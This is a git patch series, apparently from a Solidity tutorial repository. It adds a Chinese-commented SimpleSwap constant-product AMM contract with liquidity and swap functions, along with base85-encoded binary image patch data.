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 Date: Wed, 28 Jun 2023 00:02:20 +0800 Subject: [PATCH 05/46] update 56 Swap --- 56_Swap/SimpleSwap.sol | 157 +++++++++++++++ 56_Swap/img/56-1.png | Bin 0 -> 28877 bytes 56_Swap/readme.md | 445 +++++++++++++++++++++++++++++++++++++++++ README.md | 2 + 4 files changed, 604 insertions(+) create mode 100644 56_Swap/SimpleSwap.sol create mode 100644 56_Swap/img/56-1.png create mode 100644 56_Swap/readme.md diff --git a/56_Swap/SimpleSwap.sol b/56_Swap/SimpleSwap.sol new file mode 100644 index 000000000..e7b243ba3 --- /dev/null +++ b/56_Swap/SimpleSwap.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + // 代币合约 + IERC20 public token0; + IERC20 public token1; + + // 代币储备量 + uint public reserve0; + uint public reserve1; + + // 事件 + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // 构造器,初始化代币地址 + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // 取两个数的最小值 + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // 计算平方根 babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // 添加流动性,转进代币,铸造LP + // 如果首次添加,铸造的LP数量 = sqrt(amount0 * amount1) + // 如果非首次,铸造的LP数量 = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired 添加的token0数量 + // @param amount1Desired 添加的token1数量 + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // 将添加的流动性转入Swap合约,需事先给Swap合约授权 + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // 计算添加的流动性 + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // 如果是第一次添加流动性,铸造 L = sqrt(x * y) 单位的LP(流动性提供者)代币 + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // 如果不是第一次添加流动性,按添加代币的数量比例铸造LP,取两个代币更小的那个比例 + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // 检查铸造的LP数量 + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // 给流动性提供者铸造LP代币,代表他们提供的流动性 + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + + // 移除流动性,销毁LP,转出代币 + // 转出数量 = (liquidity / totalSupply_LP) * reserve + // @param liquidity 移除的流动性数量 + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // 获取余额 + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // 按LP的比例计算要转出的代币数量 + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // 检查代币数量 + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // 销毁LP + _burn(msg.sender, liquidity); + // 转出代币 + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + + // 给定一个资产的数量和代币对的储备,计算交换另一个代币的数量 + // 由于乘积恒定 + // 交换前: k = x * y + // 交换后: k = (x + delta_x) * (y + delta_y) + // 可得 delta_y = - delta_x * y / (x + delta_x) + // 正/负号代表转入/转出 + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // swap代币 + // @param amountIn 用于交换的代币数量 + // @param tokenIn 用于交换的代币合约地址 + // @param amountOutMin 交换出另一种代币的最低数量 + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // 如果是token0交换token1 + tokenOut = token1; + // 计算能交换出的token1数量 + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 进行交换 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // 如果是token1交换token0 + tokenOut = token0; + // 计算能交换出的token1数量 + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 进行交换 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} \ No newline at end of file diff --git a/56_Swap/img/56-1.png b/56_Swap/img/56-1.png new file mode 100644 index 0000000000000000000000000000000000000000..3189e4f520f79e3cd43024d5e802600098504fad GIT binary patch literal 28877 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 